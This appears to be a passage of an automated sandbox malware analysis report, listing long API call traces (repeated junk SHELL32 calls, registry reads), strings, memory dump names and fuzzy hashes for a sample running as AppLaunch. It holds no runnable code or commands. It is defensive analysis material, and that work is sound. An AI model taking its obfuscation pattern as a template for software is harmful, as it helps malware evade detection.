PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CCD9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CCE3
RealDriveType.SHELL32(B48126B4,00000000), ref: 0040CCF0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CCFA
RealDriveType.SHELL32(AA8611A6,00000000), ref: 0040CD07
RealDriveType.SHELL32(6CCB2410,00000000), ref: 0040CD14
RealDriveType.SHELL32(05141A40,00000000), ref: 0040CD21
RealDriveType.SHELL32(1D72689E,00000000), ref: 0040CD2E
RealDriveType.SHELL32(5E3BC760,00000000), ref: 0040CD3B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CD45
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CD4F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CD59
RealDriveType.SHELL32(34BA3EEF,00000000), ref: 0040CD66
RealDriveType.SHELL32(C7A22AE2,00000000), ref: 0040CD73
RealDriveType.SHELL32(96595155,00000000), ref: 0040CD80
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CD8A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CD94
RealDriveType.SHELL32(660563B3,00000000), ref: 0040CDA1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CDAB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CDB5
RealDriveType.SHELL32(4496D98F,00000000), ref: 0040CDC2
RealDriveType.SHELL32(A1A8383B,00000000), ref: 0040CDCF
RealDriveType.SHELL32(D4C951C4,00000000), ref: 0040CDDC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CDE6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CDF0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CDFA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CE04
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CE0E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CE18
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CE22
LocalFree.KERNEL32(00000000), ref: 0040CE2D
RealDriveType.SHELL32(C930AD1B,00000000), ref: 0040CE3A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CE44
RealDriveType.SHELL32(B53100EB,00000000), ref: 0040CE51
RealDriveType.SHELL32(2E48BBB6,00000000), ref: 0040CE5E
RealDriveType.SHELL32(ED18BE42,00000000), ref: 0040CE6B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CE75
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CE7F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CE89
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CE93
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CE9D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CEA7
RealDriveType.SHELL32(84AF1F04,00000000), ref: 0040CEB4
RealDriveType.SHELL32(C7983989,00000000), ref: 0040CEC1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CECB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CED5
RealDriveType.SHELL32(8D5E8753,00000000), ref: 0040CEE2
RealDriveType.SHELL32(16269101,00000000), ref: 0040CEEF
RealDriveType.SHELL32(3404D999,00000000), ref: 0040CEFC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CF06
RealDriveType.SHELL32(369BB8DB,00000000), ref: 0040CF13
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CF1D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CF27
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CF31
RealDriveType.SHELL32(A9AC6972,00000000), ref: 0040CF3E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CF48
RealDriveType.SHELL32(A1F78332,00000000), ref: 0040CF55
RealDriveType.SHELL32(E4EB4ADA,00000000), ref: 0040CF62
RealDriveType.SHELL32(62D0833B,00000000), ref: 0040CF6F
RealDriveType.SHELL32(74276E66,00000000), ref: 0040CF7C
RealDriveType.SHELL32(D488CBBB,00000000), ref: 0040CF89
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CF93
RealDriveType.SHELL32(1DAFE2A8,00000000), ref: 0040CFA0
RealDriveType.SHELL32(41F627C0,00000000), ref: 0040CFAD
RealDriveType.SHELL32(3C1368E7,00000000), ref: 0040CFBA
RealDriveType.SHELL32(113C4FA7,00000000), ref: 0040CFC7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040CFD1
RealDriveType.SHELL32(A0C45BB9,00000000), ref: 0040CFFA
RealDriveType.SHELL32(4F05C430,00000000), ref: 0040D007
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D011
RealDriveType.SHELL32(AAAC2D61,00000000), ref: 0040D01E
RealDriveType.SHELL32(63A941EF,00000000), ref: 0040D02B
RealDriveType.SHELL32(D4975C74,00000000), ref: 0040D038
RealDriveType.SHELL32(6307211C,00000000), ref: 0040D045
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D04F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D059
RealDriveType.SHELL32(69ADB381,00000000), ref: 0040D066
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D070
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D07A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D084
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D08E
RealDriveType.SHELL32(F115A1BD,00000000), ref: 0040D09B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D0A5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D0AF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D0B9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D0C3
RealDriveType.SHELL32(72DE9C60,00000000), ref: 0040D0D0
RealDriveType.SHELL32(F2A6C29C,00000000), ref: 0040D0DD
RealDriveType.SHELL32(35324186,00000000), ref: 0040D0EA
RealDriveType.SHELL32(F956B0E7,00000000), ref: 0040D0F7
RealDriveType.SHELL32(EF598B9C,00000000), ref: 0040D104
RealDriveType.SHELL32(F7CD52D7,00000000), ref: 0040D111
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D11B
RealDriveType.SHELL32(996F2272,00000000), ref: 0040D128
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D132
RealDriveType.SHELL32(2391DD34,00000000), ref: 0040D13F
RealDriveType.SHELL32(F71512BC,00000000), ref: 0040D14C
RealDriveType.SHELL32(06DE3608,00000000), ref: 0040D159
RealDriveType.SHELL32(98C4E313,00000000), ref: 0040D166
RealDriveType.SHELL32(3B3B1B02,00000000), ref: 0040D173
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D4F3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D4FD
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D507
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D511
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D51B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D525
RealDriveType.SHELL32(8480D154,00000000), ref: 0040D532
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D53C
RealDriveType.SHELL32(3FEF7E3B,00000000), ref: 0040D549
RealDriveType.SHELL32(C8407F3F,00000000), ref: 0040D556
RealDriveType.SHELL32(EEEDD445,00000000), ref: 0040D563
RealDriveType.SHELL32(6F39B447,00000000), ref: 0040D570
RealDriveType.SHELL32(9910C524,00000000), ref: 0040D57D
RealDriveType.SHELL32(6B6A4EEE,00000000), ref: 0040D58A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D594
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D59E
RealDriveType.SHELL32(3CA7D9AA,00000000), ref: 0040D5AB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D5B5
RealDriveType.SHELL32(38625092,00000000), ref: 0040D5C2
RealDriveType.SHELL32(D46BACDE,00000000), ref: 0040D5CF
RealDriveType.SHELL32(1227BB1F,00000000), ref: 0040D5DC
RealDriveType.SHELL32(31BDE3B2,00000000), ref: 0040D5E9
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D5F3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D5FD
RealDriveType.SHELL32(6E231DF9,00000000), ref: 0040D60A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D614
RealDriveType.SHELL32(C42A0B10,00000000), ref: 0040D621
RealDriveType.SHELL32(8DF8E8A2,00000000), ref: 0040D62E
RealDriveType.SHELL32(8FEA305A,00000000), ref: 0040D63B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D645
PathIsSlowW.SHELL32(00000000,00000000), ref: 0040D64F
RealDriveType.SHELL32(6CF96710,00000000), ref: 0040D65C

Strings

, xrefs: 0040A651
, xrefs: 0040A3CF
, xrefs: 0040A2E6
, xrefs: 0040A4EE
@%B, xrefs: 0040A1ED
e2e6bd5da536d7ebd64fba220f16e00c, xrefs: 00409F21, 0040A1E8, 0040A2E1, 0040A3CA, 0040A4E9, 0040A64C

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$PathSlow$Local$Alloc$lstrlen$Free$GlobalToken$ByteCharInformationMultiOpenProcessWide$ConvertCurrentErrorInternetLastStringlstrcmpi
String ID: $ $ $ $@%B$e2e6bd5da536d7ebd64fba220f16e00c
API String ID: 198253205-2043536431
Opcode ID: d0d13be4c75a7ff9e2744d817aaa325ec5f16c2bbb5768d824e68af5e6c455cd
Instruction ID: 12a6f1f4fdbdf8eb59620f081ee24825b0ddf3eaccf9d87f2e61d4eba077477b
Opcode Fuzzy Hash: d0d13be4c75a7ff9e2744d817aaa325ec5f16c2bbb5768d824e68af5e6c455cd
Instruction Fuzzy Hash: 9093C57138525C7BF1703BF26C4EF9F6D58DF85B96F610010F309690E28AA069469BBE

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA65 Relevance: 330.7, APIs: 220, Instructions: 694
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RealDriveType.SHELL32(1A7F0918,00000000), ref: 0041BA7C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BA86
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BA8A
RealDriveType.SHELL32(8E5CC678,00000000), ref: 0041BA92
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BA96
RealDriveType.SHELL32(CB3F7D16,00000000), ref: 0041BA9E
RealDriveType.SHELL32(FE992C12,00000000), ref: 0041BAA6
RealDriveType.SHELL32(36854D30,00000000), ref: 0041BAAE
RealDriveType.SHELL32(93A16199,00000000), ref: 0041BAB6
RealDriveType.SHELL32(08C14845,00000000), ref: 0041BABE
RealDriveType.SHELL32(8F3F85C5,00000000), ref: 0041BAC6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BACA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BACE
RealDriveType.SHELL32(0DEDF582,00000000), ref: 0041BAD6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BADA
RealDriveType.SHELL32(E542DC49,00000000), ref: 0041BAE2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BAE6
RealDriveType.SHELL32(8F03C182,00000000), ref: 0041BAEE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BAF2
RealDriveType.SHELL32(321E4A37,00000000), ref: 0041BAFA
RealDriveType.SHELL32(EEC488FF,00000000), ref: 0041BB02
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB06
RealDriveType.SHELL32(7EABEA1A,00000000), ref: 0041BB0E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB12
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB16
RealDriveType.SHELL32(99835827,00000000), ref: 0041BB1E
RealDriveType.SHELL32(D86BF9CB,00000000), ref: 0041BB26
RealDriveType.SHELL32(5474F442,00000000), ref: 0041BB2E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB32
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB36
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB3A
RealDriveType.SHELL32(DAA8D98A,00000000), ref: 0041BB42
RealDriveType.SHELL32(48F05D45,00000000), ref: 0041BB4A
RealDriveType.SHELL32(FA1CD560,00000000), ref: 0041BB52
RealDriveType.SHELL32(608DABA4,00000000), ref: 0041BB5A
RealDriveType.SHELL32(9818FBDF,00000000), ref: 0041BB62
LocalAlloc.KERNEL32(00000040,00000208,?,0040B04A), ref: 0041BB6B
RealDriveType.SHELL32(FC2BA2E3,00000000), ref: 0041BB7A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB7E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB82
RealDriveType.SHELL32(9593708B,00000000), ref: 0041BB8A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB8E
RealDriveType.SHELL32(59130F69,00000000), ref: 0041BB96
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB9A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BB9E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BBA2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BBA6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BBAA
RealDriveType.SHELL32(6F76B133,00000000), ref: 0041BBB2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BBB6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BBBA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BBBE
RealDriveType.SHELL32(E5A392CD,00000000), ref: 0041BBC6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BBCA
RealDriveType.SHELL32(F6A04876,00000000), ref: 0041BBD2
RealDriveType.SHELL32(D6A531B5,00000000), ref: 0041BBDA
RealDriveType.SHELL32(E9824F92,00000000), ref: 0041BBE2
RealDriveType.SHELL32(C73190D9,00000000), ref: 0041BBEA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BBEE
RealDriveType.SHELL32(835FB20B,00000000), ref: 0041BBF6
RealDriveType.SHELL32(00CB5F4C,00000000), ref: 0041BBFE
RealDriveType.SHELL32(C7A854BA,00000000), ref: 0041BC06
RealDriveType.SHELL32(F1B3D678,00000000), ref: 0041BC0E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC12
RealDriveType.SHELL32(2D9E229F,00000000), ref: 0041BC1A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC1E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC22
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC26
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC2A
RealDriveType.SHELL32(EBFE58B8,00000000), ref: 0041BC32
RealDriveType.SHELL32(2D547A5D,00000000), ref: 0041BC3A
RealDriveType.SHELL32(60CFC40A,00000000), ref: 0041BC42
RealDriveType.SHELL32(A0A70180,00000000), ref: 0041BC4A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC5C
RealDriveType.SHELL32(48B85EEE,00000000), ref: 0041BC64
RealDriveType.SHELL32(28BC21B3,00000000), ref: 0041BC6C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC70
RealDriveType.SHELL32(41E5EA27,00000000), ref: 0041BC78
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC7C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC80
RealDriveType.SHELL32(B1583063,00000000), ref: 0041BC88
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC8C
RealDriveType.SHELL32(8438CDE7,00000000), ref: 0041BC94
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BC98
RealDriveType.SHELL32(723622E6,00000000), ref: 0041BCA0
RealDriveType.SHELL32(2CC51568,00000000), ref: 0041BCA8
RealDriveType.SHELL32(5513DD2B,00000000), ref: 0041BCB0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCB4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCB8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCBC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCC0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCC4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCC8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCCC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCD0
RealDriveType.SHELL32(94DEBB48,00000000), ref: 0041BCD8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCDC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCE0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCE4
RealDriveType.SHELL32(B411EB2C,00000000), ref: 0041BCEC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCF0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCF4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BCF8
RealDriveType.SHELL32(C4B5DFC2,00000000), ref: 0041BD00
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD04
RealDriveType.SHELL32(D63A0FC8,00000000), ref: 0041BD0C
RealDriveType.SHELL32(CC8CA2CC,00000000), ref: 0041BD14
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD18
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD1C
RealDriveType.SHELL32(0EA90FD6,00000000), ref: 0041BD24
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD28
RealDriveType.SHELL32(715A8B36,00000000), ref: 0041BD30
RealDriveType.SHELL32(E1C5764F,00000000), ref: 0041BD38
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD3C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD40
RealDriveType.SHELL32(36AC48EF,00000000), ref: 0041BD48
RealDriveType.SHELL32(1193A119,00000000), ref: 0041BD50
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD54
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD58
RealDriveType.SHELL32(4C98F67B,00000000), ref: 0041BD60
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD64
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD68
RealDriveType.SHELL32(EC4696CB,00000000), ref: 0041BD70
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD74
RealDriveType.SHELL32(5F763035,00000000), ref: 0041BD7C
RealDriveType.SHELL32(21AB56E9,00000000), ref: 0041BD84
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD88
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD8C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD90
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD94
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BD98
RealDriveType.SHELL32(F928BC65,00000000), ref: 0041BDA0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BDA4
RealDriveType.SHELL32(5BA87A0B,00000000), ref: 0041BDAC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BDB0
RealDriveType.SHELL32(CAD70FF1,00000000), ref: 0041BDB8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BDBC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BDC0
RealDriveType.SHELL32(240DCE8D,00000000), ref: 0041BDC8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BDCC
RealDriveType.SHELL32(E505B0E8,00000000), ref: 0041BDD4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BDD8
RealDriveType.SHELL32(94EE8C79,00000000), ref: 0041BDE0
RealDriveType.SHELL32(5CC9A6AE,00000000), ref: 0041BDE8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BDEC
RegOpenKeyExW.KERNELBASE(80000002,00000000,00020119,?), ref: 0041BE03
RegQueryValueExW.KERNELBASE(?,00000000,00000001,?,00000104), ref: 0041BE21
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BE2E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BE34
RealDriveType.SHELL32(F9B0FDAC,00000000), ref: 0041BE3D
RealDriveType.SHELL32(2EECC650,00000000), ref: 0041BE46
RealDriveType.SHELL32(6298013B,00000000), ref: 0041BE4F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BE55
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BE5B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BE61
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BE67
RealDriveType.SHELL32(94FBA6C4,00000000), ref: 0041BE70
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BE76
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BE7C
RealDriveType.SHELL32(C031DC5A,00000000), ref: 0041BE85
RealDriveType.SHELL32(4643A323,00000000), ref: 0041BE8E
RealDriveType.SHELL32(815F0F89,00000000), ref: 0041BE97
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BE9D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BEA3
RealDriveType.SHELL32(1BD9DF70,00000000), ref: 0041BEAC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BEB2
RealDriveType.SHELL32(5C461D8F,00000000), ref: 0041BEBB
RealDriveType.SHELL32(06980E05,00000000), ref: 0041BEC4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BECA
RealDriveType.SHELL32(86DB42B1,00000000), ref: 0041BED3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BED9
RealDriveType.SHELL32(173E5766,00000000), ref: 0041BEE2
RealDriveType.SHELL32(9711357B,00000000), ref: 0041BEEB
RealDriveType.SHELL32(8830FC37,00000000), ref: 0041BEF4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BEFA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF00
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF06
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF0C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF12
RealDriveType.SHELL32(73089005,00000000), ref: 0041BF1B
RealDriveType.SHELL32(1FDF5719,00000000), ref: 0041BF24
RealDriveType.SHELL32(488DE2D0,00000000), ref: 0041BF2D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF33
RealDriveType.SHELL32(C6841C8B,00000000), ref: 0041BF4C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF50
RealDriveType.SHELL32(37DC9476,00000000), ref: 0041BF58
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF5C
RealDriveType.SHELL32(5C86AD98,00000000), ref: 0041BF64
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF68
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF6C
RealDriveType.SHELL32(B39FB017,00000000), ref: 0041BF74
RealDriveType.SHELL32(B3A80FCB,00000000), ref: 0041BF7C
RealDriveType.SHELL32(073334FC,00000000), ref: 0041BF84
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF88
RealDriveType.SHELL32(C095ADC5,00000000), ref: 0041BF90
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BF94
RealDriveType.SHELL32(F1FD1B65,00000000), ref: 0041BF9C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BFA0
RealDriveType.SHELL32(9D5ADF91,00000000), ref: 0041BFA8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BFAC
RealDriveType.SHELL32(5AB31753,00000000), ref: 0041BFB4
RealDriveType.SHELL32(1D7A95FA,00000000), ref: 0041BFBC
RealDriveType.SHELL32(B22DBADE,00000000), ref: 0041BFC4
RealDriveType.SHELL32(80FD36BF,00000000), ref: 0041BFCC
RealDriveType.SHELL32(2F570476,00000000), ref: 0041BFD4
RealDriveType.SHELL32(A3B49446,00000000), ref: 0041BFDC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BFE0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BFE4
RealDriveType.SHELL32(9B62FC53,00000000), ref: 0041BFEC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041BFF0
RealDriveType.SHELL32(544083E7,00000000), ref: 0041BFF8
RealDriveType.SHELL32(30F9F7DB,00000000), ref: 0041C000
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C004
RealDriveType.SHELL32(DE41D7B4,00000000), ref: 0041C00C
RealDriveType.SHELL32(472AC1C9,00000000), ref: 0041C014
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C018
RealDriveType.SHELL32(8D9B0456,00000000), ref: 0041C020
RealDriveType.SHELL32(365DE852,00000000), ref: 0041C028
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C02C
RegCloseKey.ADVAPI32(?), ref: 0041C033

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DrivePathRealSlowType$AllocCloseLocalOpenQueryValue
String ID:
API String ID: 2973365099-0
Opcode ID: 5c5ec5655d399aeb17144162fb7b06be52c2801387b329ab630df08a0ae70397
Instruction ID: 883d77f4cb36137a4dba0e7a7927496aac4c9da2e53db5d12a9ea2ef550279b9
Opcode Fuzzy Hash: 5c5ec5655d399aeb17144162fb7b06be52c2801387b329ab630df08a0ae70397
Instruction Fuzzy Hash: 34E11320687AB879E57277B34C8EFEF1D5CDFC36E9F120014F258651805A989A02C9FE

Uniqueness

Uniqueness Score: -1.00%

Function 004158D8 Relevance: 327.7, APIs: 218, Instructions: 698
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RealDriveType.SHELL32(22D3CD25,00000000), ref: 004158F5
PathIsSlowW.SHELL32(00000000,00000000), ref: 004158FF
RealDriveType.SHELL32(7D6DCBAA,00000000), ref: 00415907
RealDriveType.SHELL32(331CEC64,00000000), ref: 0041590F
RealDriveType.SHELL32(330827A6,00000000), ref: 00415917
RealDriveType.SHELL32(BEA775AA,00000000), ref: 0041591F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415923
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415927
RealDriveType.SHELL32(04D847E1,00000000), ref: 0041592F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415933
RealDriveType.SHELL32(BA802A33,00000000), ref: 0041593B
RealDriveType.SHELL32(8704A413,00000000), ref: 00415943
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415947
RealDriveType.SHELL32(E94F84F6,00000000), ref: 0041594F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415953
RealDriveType.SHELL32(B75484FC,00000000), ref: 0041595B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041595F
RealDriveType.SHELL32(4CA12A45,00000000), ref: 00415967
RealDriveType.SHELL32(CA644D75,00000000), ref: 0041596F
RealDriveType.SHELL32(4781CD6B,00000000), ref: 00415977
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041597B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041597F
RealDriveType.SHELL32(0B1A9874,00000000), ref: 00415987
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041598B
RealDriveType.SHELL32(0AEE99A7,00000000), ref: 00415993
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415997
RealDriveType.SHELL32(450D64C9,00000000), ref: 0041599F
RealDriveType.SHELL32(3F2E5280,00000000), ref: 004159A7
RealDriveType.SHELL32(BE166FAB,00000000), ref: 004159AF
PathIsSlowW.SHELL32(00000000,00000000), ref: 004159B3
PathIsSlowW.SHELL32(00000000,00000000), ref: 004159B7
PathIsSlowW.SHELL32(00000000,00000000), ref: 004159BB
RealDriveType.SHELL32(DA35835C,00000000), ref: 004159C3
RealDriveType.SHELL32(22EB5BE3,00000000), ref: 004159CB
RealDriveType.SHELL32(3BD56BAE,00000000), ref: 004159D3
PathIsSlowW.SHELL32(00000000,00000000), ref: 004159D7
LocalAlloc.KERNELBASE(00000040,?), ref: 004159E0
RealDriveType.SHELL32(EF313128,00000000), ref: 004159EF
RealDriveType.SHELL32(D6E1C2FE,00000000), ref: 004159F8
RealDriveType.SHELL32(0C14D261,00000000), ref: 00415A01
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415A07
PathIsSlowW.SHELL32(00000000,00000000), ref: 00415A0D
RealDriveType.SHELL32(1603908D,00000000), ref: 00415A16
RealDriveType.SHELL32(3102818F,00000000), ref: 00415A1F
RealDriveType.SHELL32(BE6A8F8C,00000000), ref: 00415A28
